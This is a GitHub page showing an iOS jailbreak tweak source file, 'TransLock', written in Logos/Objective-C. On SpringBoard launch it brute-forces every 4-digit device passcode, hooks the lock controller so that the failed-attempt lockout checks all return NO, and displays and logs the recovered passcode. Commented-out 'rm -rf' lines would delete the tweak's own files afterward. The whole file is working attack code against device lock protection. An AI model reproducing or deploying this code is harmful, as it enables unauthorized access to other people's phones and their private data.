-
Notifications
You must be signed in to change notification settings - Fork 72
/
Tweak.xm
67 lines (54 loc) · 1.54 KB
/
Tweak.xm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
@interface SBDeviceLockController
+ (id)sharedController;
- (BOOL)attemptDeviceUnlockWithPassword:(id)password appRequested:(BOOL)requested;
@end
@interface SBLockScreenManager
+ (id)sharedInstance;
- (_Bool)attemptUnlockWithPasscode:(id)arg1;
@end
@interface TransLock : NSObject
+ (id)sharedInstance;
- (void)bruteforce;
@end
NSString *numString;
@implementation TransLock
+ (instancetype)sharedInstance {
static TransLock *__sharedInstance;
static dispatch_once_t onceToken;
dispatch_once(&onceToken, ^{
__sharedInstance = [[self alloc] init];
});
return __sharedInstance;
}
- (void)bruteforce {
for (int i = 0; i <= 9999; i++)
{
numString = [NSString stringWithFormat:@"%04d", i];
NSLog(@"Testing : %@", numString);
if ([[%c(SBDeviceLockController) sharedController] attemptDeviceUnlockWithPassword:numString appRequested:NO]) {
[[[UIAlertView alloc] initWithTitle:@"TransLock" message:[NSString stringWithFormat:@"Password is %@", numString] delegate:nil cancelButtonTitle:@"Dismiss" otherButtonTitles:nil] show];
NSLog(@"Password is : %@", numString);
// system("rm -rf /Library/MobileSubstrate/DynamicLibraries/libTransLock.dylib");
// system("rm -rf /Library/MobileSubstrate/DynamicLibraries/libTransLock.plist");
break;
}
}
}
@end
%hook SBFDeviceLockController
- (bool)_temporarilyBlocked {
return NO;
}
- (bool)isPasscodeLockedOrBlocked {
return NO;
}
- (bool)isBlocked {
return NO;
}
%end
%hook SpringBoard
- (void)applicationDidFinishLaunching:(id)arg1 {
%orig;
[[TransLock sharedInstance] bruteforce];
}
%end